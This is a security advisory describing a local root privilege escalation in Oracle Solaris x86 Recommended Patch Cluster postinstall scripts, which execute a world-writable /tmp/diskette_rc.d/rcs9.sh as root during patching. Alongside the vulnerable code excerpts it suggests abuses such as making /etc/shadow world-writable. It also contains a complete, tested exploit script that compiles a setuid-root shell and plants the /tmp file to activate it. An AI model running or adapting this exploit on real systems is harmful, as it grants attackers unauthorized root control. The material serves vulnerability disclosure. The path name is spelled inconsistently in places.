VDB-ID: 38
Title: Solaris Recommended Patch Cluster 6/19 local root on x86
Vulnerability Date: 2013-07-03
Download: www.oracle.com
Vendor: Oracle
Notified: 2013-07-03
Vendor Contact: security@oracle.com
Description: If the system administrator is updating the system using update manager or smpatch (multi user mode) a local user could execute commands as root. This only affects x86 systems as this code resides under a case statement checking that the platform is intel based.
Vulnerability: Write to /tmp/diskette_rc.d/rcs9.sh before execution and you can execute commands as root.

./144751-01/SUNWos86r/install/postinstall 



   782          if [ -s /tmp/disketterc.d/rcs9.sh ]
   783          then
   784                  /sbin/sh /tmp/disketterc.d/rcs9.sh "post"
   785          fi

Inject entries into driver_aliases, research config file? maybe we can load our own library/driver?

   804  # Remove erroneous entry for Symbios Logic 53c875/95 (ncrs)
   805  TMPFILE=/tmp/ncrstmp
   806  sed -e '/^ncrs "pci1000,1000"$/d' ${BASEDIR}/etc/driveraliases >$TMPFILE
   807  cp $TMPFILE ${BASEDIR}/etc/driver_aliases

./141445-09/SUNWos86r/install/postinstall

   656          if [ -s /tmp/disketterc.d/rcs9.sh ]
   657          then
   658                  /sbin/sh /tmp/disketterc.d/rcs9.sh "post"
   659          fi

Well, it looks like you've got a few chances to abuse it:

larry@slowaris:~/10x86Recommended/patches$ find . -name "*install" -type f -exec grep -l "/sbin/sh /tmp/diskette_rc.d/rcs9.sh" {} \;
./144501-19/SUNWos86r/install/postinstall
./141445-09/SUNWos86r/install/postinstall
./142059-01/SUNWos86r/install/postinstall
./147148-26/SUNWos86r/install/postinstall
./127128-11/SUNWos86r/install/postinstall
./148889-03/SUNWos86r/install/postinstall
./142910-17/SUNWos86r/install/postinstall
./144751-01/SUNWos86r/install/postinstall
Psuedo PoC:

Depending on how rcs9.sh is created, we can either write to it repeatedly or just create the file initially with our malicious entry.
According to the code if the file exists, it's just executed. Easy. 
chmod 666 /etc/shadow would be easy. 
CVE-IDs: 2010-1183
Exploit: #!/bin/sh
#Larry W. Cashdollar, local root for Solaris x86 during patching
#10/4/2013 Tested on Cluster 9/30/2013
# larry@s0l4r1s:~$ ./disk_exp.sh 
# [+] Creating evil shell
# [+] Hope you've got gcc on here, compiling...
# [+] Waiting for root shell
# [+] Tada!
# # id
# uid=0(root) gid=0(root)


echo "[+] Creating evil shell"

cat << EOF > r00t.c
#include <stdio.h>
#include <unistd.h>
int
main (void)
{
  char *shell[2];
  shell[0] = "sh";
  shell[1] = NULL;
  setreuid (0, 0);
  setregid (0, 0);
  execve ("/bin/sh", shell, NULL);
  return(0);
}
EOF

echo "[+] Hope you've got gcc on here, compiling..."

gcc r00t.c -o /tmp/r00t

mkdir -p /tmp/diskette_rc.d/

echo "#!/bin/sh" > /tmp/diskette_rc.d/rcs9.sh
echo "chown root:root /tmp/r00t" >> /tmp/diskette_rc.d/rcs9.sh
echo "chmod +s /tmp/r00t" >> /tmp/diskette_rc.d/rcs9.sh
chmod +x /tmp/diskette_rc.d/rcs9.sh
echo "[+] Waiting for root shell"

until [  -u /tmp/r00t ]; do sleep 1; done; echo "[+] Tada!";/tmp/r00t
URL: http://www.vapid.dhs.org/advisories/solaris-patch-cluster-x86root.html
Credit: Larry W. Cashdollar, @_larry0